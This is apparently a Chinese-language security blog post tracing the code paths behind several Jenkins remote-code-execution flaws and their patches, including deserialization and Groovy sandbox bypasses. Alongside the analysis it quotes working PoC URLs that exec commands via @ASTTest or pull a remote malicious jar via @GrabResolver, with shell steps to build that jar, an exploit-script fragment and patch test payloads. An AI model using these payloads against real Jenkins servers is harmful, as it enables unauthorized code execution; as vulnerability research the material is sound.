Jenkins RCE漏洞分析汇总

0x01 前言

之前针对Jenkins没注意看过,看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins,包括今年开年时候orange发的Jenkins的组合拳,拖拖拉拉到了年底还没看,所以准备开始看。

这里根据Jenkins的漏洞触发点做了一个归类,一种是通过cli的方式触发,一种是通过我们常见的http方式触发。

0x02 环境搭建

在catalina.sh添加,或者catalina.bat内容不动用如下命令开启,默认是开启8000端口
用如下命令开启

catalina.bat jpda start(Windows)
catalina.sh jpda start(linux)

0x03 漏洞分析

Cli方式触发

CVE-2015-8103

最早开始公开Java 反序列化的时候,何使用 Apache Commons Collections 这个常用库来构造 POP 链(类ROP链),这个在Jenkins上的例子就是这个编号,但是网上对于这个调用链的过程都没有进行分析,所以这里分析一下。

先看看之前那些exp的脚本,这里可以看到漏洞触发已经是和Jenkins的cli有关系,且这里走tcp socket通信的。

response = requests.get(jenkins_web_url, headers=i_headers)
cli_port = int(response.headers['X-Jenkins-CLI-Port'])
print('[+] Found CLI listener port: "%s"' % cli_port)

sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = urlparse.urlparse(jenkins_web_url).netloc
try:
    host, port = host.split(':')
except:
    host = host
cli_listener = (socket.gethostbyname(host), cli_port)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)

跟进一下看看。

漏洞分析

Jenkins cli的入口在这hudson.TcpSlaveAgentListener#ConnectionHandler,这个run构造方法,我们看到调用了p.handle方法。

handle也是一个抽象方法,这里根据前面的Protocol选择相关协议,这里的协议有两个一个是Cli,另一个是JnlpSlaveAgent。我们关注的其实是Cli这个东西。

跟进 hudson.cli.CliProtocol#handle ,这里实例化 CliProtocol.Handler 来处理,并且调用其中的run构造方法

public void handle(Socket socket) throws IOException, InterruptedException {
        (new CliProtocol.Handler(this.nio.getHub(), socket)).run();
    }

继续 hudson.cli.CliProtocol$Handler.run ,这里调用 runcli 针对socket连接进行处理。

继续跟进hudson.cli.CliProtocol$Handler.runCli,这的关键是下图标红色的地方。

这里调用 hudson.remoting.ChannelBuilder#build 来处理传入的buffer缓冲区的数据,跟进这个看看。

public Channel build(InputStream is, OutputStream os) throws IOException {
        return new Channel(this, this.negotiate(is, os));
    }

这里主要是调用 this.negotiate 来处理is和os,而is和os分别使我们缓冲区的输入和输出,跟进一下 hudson.remoting.ChannelBuilder.negotiate

negotiate会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码(preamble),前导码格式通常为:<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 该前导码包含一个经过base64编码的序列化对象,我们抓个包看到这个前导码,也看到发序列化头部base64编码之后的关键字 rO0A

然后继续循环往下走,调用 Capability.read 处理buffer中的内容。

跟进 hudson.remoting.Capability#read ,标准的反序列化的输入点了,之后就是调用Commons Collections执行反序列化下一步的命令执行操作了。

修复方式

hudson.remoting.ClassFilter#check会检查是否在黑名单中。

目前默认的黑名单如下所示

private static final String[] DEFAULT_PATTERNS = new String[]{
"^bsh[.].*", 
"^com[.]google[.]inject[.].*", 
"^com[.]mchange[.]v2[.]c3p0[.].*", 
"^com[.]sun[.]jndi[.].*", 
"^com[.]sun[.]corba[.].*", 
"^com[.]sun[.]javafx[.].*", 
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", 
"^java[.]awt[.].*", 
"^java[.]rmi[.].*", 
"^javax[.]management[.].*", 
"^javax[.]naming[.].*", 
"^javax[.]script[.].*", 
"^javax[.]swing[.].*", 
"^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", 
"^org[.]apache[.]myfaces[.].*", 
"^org[.]apache[.]wicket[.].*", 
".*org[.]apache[.]xalan.*", 
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*", 
"^org[.]python[.].*", 
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*", 
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*", 
"^java[.]util[.]ServiceLoader$", 
"^java[.]net[.]URLClassLoader$"};

CVE-2017-1000353

漏洞分析
  • 漏洞编号: CVE-2017-1000353
  • 漏洞简述: Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。
  • 影响版本: Jenkins-Ci Jenkins LTS < = 2.46.1

所以从上面这段引用可以看到,漏洞触发还是和cli有关系,我们来详细看看,首先入口在hudson.cli.CLIAction中,代码根据HTTP头部中的side的值来区分是 download 还是 upload 操作,然后根据http头部中session里面的uuid的值来区分不同的会话通道。

先跟进看一下download操作,位置在hudson.model.FullDuplexHttpChannel#download,下图中已经将重要部分代码标红了,如果没有接收到upload请求,那么这时候download操作就会阻塞等待,直到upload操作过来,然后建立新的channel对象,来处理upload接收到的请求和响应。

所以这里就要跟进Channel,前面我们说过针对cli方式触发的时候,会调用negotiate来检查格式是否正确,所以这里进入构造方法,实际上是下图中的代码。

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
        this(settings, settings.negotiate(is, os));
    }

跟进hudson.remoting.ChannelBuilder#negotiate,这里会调用makeTransport方法。

跟进makeTransport方法,位置在hudson.remoting.ChannelBuilder#makeTransport,这个方法会根据cap是否支持Chunking来返回不同的对象,分别是ChunkedCommandTransportClassicCommandTransport

然后又进去hudson.remoting.Channel中的下图代码进行操作,这里红框圈出部分关键代码。这里会调用transport.setup处理对象CommandReceiver

而setup也是一个抽象类,会调用 hudson.remoting.SynchronousCommandTransport#setup 这个回启东一个ReaderThread线程来处理传入的CommandReceiver对象。

public void setup(Channel channel, CommandReceiver receiver) {
        this.channel = channel;
        (new SynchronousCommandTransport.ReaderThread(receiver)).start();
    }

跟进hudson.remoting.SynchronousCommandTransport#ReaderThread,这个方法会调用SynchronousCommandTransport.this.read

而这里的read是个抽象类,目前这个流程中,他的实现方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {
        try {
            Command cmd = Command.readFrom(this.channel, this.ois);
            if (this.rawIn != null) {
                this.rawIn.clear();
            }

            return cmd;
        } catch (RuntimeException var2) {
            throw this.diagnoseStreamCorruption(var2);
        } catch (StreamCorruptedException var3) {
            throw this.diagnoseStreamCorruption(var3);
        }
    }

那么再跟进 hudson.remoting.Command#readFrom 就找到反序列化的触发点了。

修复方式

补丁地址

我们可以看到本次修复,实际上引入了 CVE-2015-8103 的黑名单,并且将 java.security.SignedObject 本次的反序列化绕过方法加入这个黑名单中。

HTTP方式触发

CVE-2018-1000861

动态路由分析

首先 Jenkins 会将所有请求交给org.kohsuke.stapler.Stapler来进行处理。

<servlet>
  <servlet-name>Stapler</servlet-name>
  <servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
  <init-param>
    <param-name>default-encodings</param-name>
    <param-value>text/html=UTF-8</param-value>
  </init-param>
  <init-param>
    <param-name>diagnosticThreadName</param-name>
    <param-value>false</param-value>
  </init-param>
  <async-supported>true</async-supported>
</servlet>

跟进org.kohsuke.stapler.Stapler这个类中,简单缩减一下代码,如下所示:

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {
        Thread t = Thread.currentThread();
        final String oldName = t.getName();
...
            if (servletPath.startsWith(BoundObjectTable.PREFIX)) {
                // serving exported objects
                invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));
                return;
            }
...
            Object root = webApp.getApp();
            if(root==null)
                throw new ServletException("there's no \"app\" attribute in the application context.");

            // consider reusing this ArrayList.
            invoke( req, rsp, root, servletPath);
        } finally {
            t.setName(oldName);
        }
    }

其中 PREFIX 的值是/$stapler/bound/

public static final String PREFIX = "/$stapler/bound/";

也就是说在这里Jenkins会根据用户传入的URL不同,来调用不同的 webapp ,这里的invoke方法中有4个参数,它们分别是:

  • req:请求对象
  • rsp:响应对象
  • root:webapp节点
  • servletPath:经过路由解析后的对象

如果url以/$stapler/bound/开开头,那么它对应的root节点对象是:webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable),而这个root对象实际上如果不是动态调试静态看代码我是看不出来,所以我在这里下个断点,我可以看到这个root节点对象对应的类是 hudson.model.Hudson ,而这个类正是继承了 jenkins.model.Jenkins

继续向下跟进,跟进我们刚刚invoke方法,这个方法位置在 org.kohsuke.stapler.Stapler#invoke 。这个方法又调用了 invoke 来处理。

继续跟进,我们可以看到这里调用了 org.kohsuke.stapler.Stapler#tryInvoke 来进行处理。

详细跟进一下 org.kohsuke.stapler.Stapler#tryInvoke 这个方法,我截取部分代码如下:

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {
        if(traceable())
            traceEval(req,rsp,node);

        if(node instanceof StaplerProxy) {
        ...
        }
        if (node instanceof StaplerOverridable) {
        ...
        }
        if(node instanceof StaplerFallback) {
        ...
        }

这里有三个根据不同的node节点进行相应操作instanceof,从代码中来看顺序应该是从上到下分别是:

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

而Jenkins这部分Routing Requests其实在文档中也写了:

所以说文档中的描述和代码中看到的是一致的,所以 tryInvoke 这个方法实际上做哦那个就是完成路由的分发,路由的绑定操作等。我们可以看看当我们传入/aa/bb/cc的时候,路由是如何选择。

当我们传入/aa/bb/cc的时候,对应的root根对象是hudson.model.Hudson,所以这里向根据这个node获取一个 metaClass 对象,然后轮询 MetaClass 中的 metaClass.dispatchers

但是这里具体如何操作还是有点懵逼,这里还是慢慢的跟一下,用 @orange 文章的白名单路由来做个文章,后面也会详细分析,路由为/securityRealm/user/test/ ,跟进org.kohsuke.stapler.WebApp#getMetaClass

public MetaClass getMetaClass(Object o) {
        return getMetaClass(getKlass(o));
    }

在这里面又调用了 getKlassgetMetaClass ,先看看 getKlass ,这里最后的return操作实例化相关类对象,这里对应的自然是我们前面路由分析的时候,如果url不是以/$stapler/bound/开头,对应的对象自然是 hudson.model.Hudson** 。

public Klass<?> getKlass(Object o) {
...
        return Klass.java(o.getClass());
    }

我们再看看 getMetaClass ,在 getMetaClass 中首先获取传入的类对象,然后实例化 MetaClass 针对传入的对象进行处理。

跟进 MetaClass ,来详细看看,我们可以看到这就是通过我们刚刚实例化的Klass类,然后根据这个类获取相应信息,最后使用 buildDispatchers

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {
        this.clazz = klass.toJavaClass();
        this.klass = klass;
        this.webApp = webApp;
        this.baseClass = webApp.getMetaClass(klass.getSuperClass());
        this.classLoader = MetaClassLoader.get(clazz.getClassLoader());
        buildDispatchers();
    }

跟进 org.kohsuke.stapler.MetaClass.buildDispatchers ,其实从注释里面就知道这个方法干啥的了。

简单翻译一下这个是处理路由调度的核心,他通过反射使用相关的类,并且确认由谁处理这个URL,这部分代码很长,而且也能看得出来Jenkins给了用户足够多的自由度,但有时候其实就是给你的自由过了火导致的问题,从代中把这些全部梳理了出来:

<obj>.do<token>(...) and other WebMethods:do(...)或者@WebMethods标注
<obj>.doIndex(...):doIndex(...)
<obj>js<token>:js(...)
method with @JavaScriptMethod:@JavaScriptMethod标注
NODE.TOKEN
NODE.getTOKEN():get()
NODE.getTOKEN(StaplerRequest):get(StaplerRequest)
<obj>.get<Token>(String):get(String)
<obj>.get<Token>(int):get(int)
<obj>.get<Token>(long):get(long)
<obj>.getDynamic(<token>,...):ggetDynamic(...)
<obj>.doDynamic(...):doDynamic(...)

随便找个例子,在处理node时候会先实例化 NameBasedDispatcher ,然后把这个加到 dispatchers 中,然后使用 doDispatch 处理传过来的请求,最后通过invoke反射的方式调用相关类。

所以我们回忆一下/securityRealm/user/test/的解析过程,在 org.kohsuke.stapler.Stapler 中这里的 d.dispatch 会处理传入的请求。

try {
            for( Dispatcher d : metaClass.dispatchers ) {
                if(d.dispatch(req,rsp,node)) {

这里的 dispathch 是一个抽象类,他的实现方法有下图中那么多,我们看到 NameBasedDispatcher 是不是有点眼熟。

跟进 org.kohsuke.stapler.NameBasedDispatcher#dispathch 这里有个 doDispatch ,实际上这个也是个抽象类,主要实现还是在 MetaClass 中的 buildDispatchers ,前面我们也了解过了 buildDispatchers 这个方法会根据node节点的不同选择不同的方法去实现。

这里简单画个代码流程图吧。

所以可以看到最后在 org.kohsuke.stapler.MetaClass 已经成功解析了我们传入的第一个node节点 securityRealm

紧接着解析第二个node节点时候,首先跟进这个getStapler返回的是当前stapler对象。

public Stapler getStapler() {
        return stapler;
    }

这里的ff是一个org.kohsuke.stapler.Function对象,它保存了当前根节点中方法的各种信息。

ff.invoke处理之后会返回Hudson.security.HudsonPrivateSecurityRealm,然后又会把这个东西带入到tryInvoke中进行第二次解析,就是这样循环下去。

现在再回头过看,我们之前用到一个payload:/securityRealm/user/test/,这个payload中的securityRealm是Jenkins的一个路由白名单,白名单是个什么情况呢,我们来看看。

首先前面提到过 tryInvoke 的时候,会进行三个优先级不同操作:

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

根据优先级,首先进行的是 StaplerProxy ,我们详细看看这个,这个做了一个try的操作,跟进一下getTarget()方法。

而getTarget()的实现主要在这几个地方出现过。

在Jenkins中,入口是jenkins.model.Jenkins,所以跟进看看 jenkins.model.Jenkins#getTarget

首先checkPermission会进行权限进行检查,检查是否有读的权限,如果没有会抛出异常,而在异常里有一个isSubjectToMandatoryReadPermissionCheck对路径进行二次检测,如果这个检测没通过就退出,否则正常返回。继续跟进 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck ,这里有个常量的白名单判断。

看看这个白名单的值,所以很明显了,如果请求的路径在这个白名单里面,那么就可以绕过权限校验。

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});
跨物件操作导致白名单绕过

@orange 博客里面提到了这个,首先提到了几个事情:

1.在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法。

2.恰巧這個方法又符合动态路由调用get<token>(...)的命名規則, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫

3.入口检查的白名单绕过

@orange 举了一个例子

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

会从上倒下依次执行

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

从这个例子中我们看到如果是xx.com/adjuncts/aa/bb/cc,那么jenkins就会去寻找getAa、getBb等相关get方法,也就是说在这里我们可以任意操作GETTER方法。

回到最早的用来测试路由/securityRealm/user/test,我们也很清楚的看到这里去寻找jenkins.model.Jenkins.getsecurityRealm()

利用链条

再回到orange给的这个路由/securityRealm/user/test,跟进去,这个我们之前聊过,根据这个路由解析过程应该是分别是getsecurityRealmgetUser,当解析getUser的时候来到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟进hudson.security.HudsonPrivateSecurityRealm.getUser,这里实际上和我们的url一致了,上图中的url实际上是user/test,这里根据传入的下一节点名当做 id,然后生成一个 User 出来,所以这里将test传入getUser构造方法中,并调用hudson.model.User进行处理,最后生成一个User出来,但是测试发现如果没有用户一样能够生成,具体原因没有去深究。

这里看看User的继承关系,这里有个hudson.model.DescriptorByNameOwner#getDescriptorByName

实际上是User中写了一个getDescriptorByName方法,是来自hudson.model.DescriptorByNameOwner#getDescriptorByName这个接口。

public Descriptor getDescriptorByName(String className) {
        return Jenkins.getInstance().getDescriptorByName(className);
    }

而这个方法中的实际上就是调用了Jenkins.getInstance().getDescriptorByName,跟进jenkins.model.Jenkins#getDescriptorByName,调用了jenkins.model.Jenkins#getDescriptor

public Descriptor getDescriptorByName(String id) {
        return this.getDescriptor(id);
    }

跟进jenkins.model.Jenkins#getDescriptor,这里根据id(string)来获取所有继承了Descriptor的子类

也就是说实际上我们通过构造/securityRealm/user/DescriptorByName/xxx就可以使用了继承了Descriptor这个的子类。

利用链:

Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

我们从登陆限制的情况下,利用这个方法可以绕过限制,从而达到未授权访问某些功能的目的。

沙盒绕过

Script Security Plugin相关的沙盒bypass在这里

SECURITY-1266:

从官方通告来看,更新了一个groovy沙盒绕过的问题。

可以看看orange给出的两个poc

http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;

分别开看看,可恶意看到的触发的类都是org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript,跟进来看。

DescriptorImpl方法继承了Descriptor,且在doCheckScript里面,实例化了GroovyShell对象,并且输出,根据前面的分析doCheckScript可控。

@ASTTest:执行断言的时候执行代码

这个和PHP的assert有点像。

Grab:引入外部恶意类

Grape是groovy内置的依赖管理引擎,而且在官方文档中,我们发现它可以将root地址自行指定,从而引入恶意类。

javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/

补丁:

地址

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);
SECURITY-1292:

commit地址

官方测试案例:

补丁:

SECURITY-1318、SECURITY-1319、SECURITY-1320、SECURITY-1321:

commit地址

SECURITY-1318:

@Grapes([@Grab(group='foo', module='bar', version='1.0')])\ndef foo\n
@GrabConfig(autoDownload=false)\ndef foo\n
@GrabExclude(group='org.mortbay.jetty', module='jetty-util')\ndef foo\n

SECURITY-1319:

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')\ndef foo\n

SECURITY-1320:

import groovy.transform.ASTTest as lolwut\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "int x\n" +
                "echo 'hello'\n", false
"import groovy.transform.*\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "@Field int x\n" +
                "echo 'hello'\n", false

SECURITY-1321:

import groovy.transform.*\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@AnnotationCollector([ASTTest]) @interface Lol {}\n" +
                "@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "@Field int x\n" +
                "echo 'hello'\n", false

补丁:

还是1266修复时候那个方法,增强了黑名单。

BLOCKED_TRANSFORMS = 
ImmutableList.of(ASTTest.class.getCanonicalName(),
Grab.class.getCanonicalName(),
GrabConfig.class.getCanonicalName(), 
GrabExclude.class.getCanonicalName(), 
GrabResolver.class.getCanonicalName(),
Grapes.class.getCanonicalName(), 
AnnotationCollector.class.getCanonicalName());
SECURITY-1353:

commit地址

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");
        assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");
        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");
        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");
        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",
            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");
        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",
            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");
        assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",
            "def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");

补丁:

在执行的时候只执行白名单,并且加强白名单和黑名单。

总结

可以看到这种RCE的漏洞,Jenkins从目前修复来看,基本上都是白名单、黑名单或者黑名单+白名单的方式,来解决问题。

0x04 漏洞利用

github上面有个项目叫做pwn_jenkins,总结了一些jenkins rce的利用方式,这项目还是不错的。

Reference

Jenkins%20RCE分析(CVE-2018-1000861分析

https://github.com/jenkinsci/jenkins/commit/f237601afd750a0eaaf961e8120b08de238f2c3f

https://github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076

jenkins 无限制 rce 分析

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖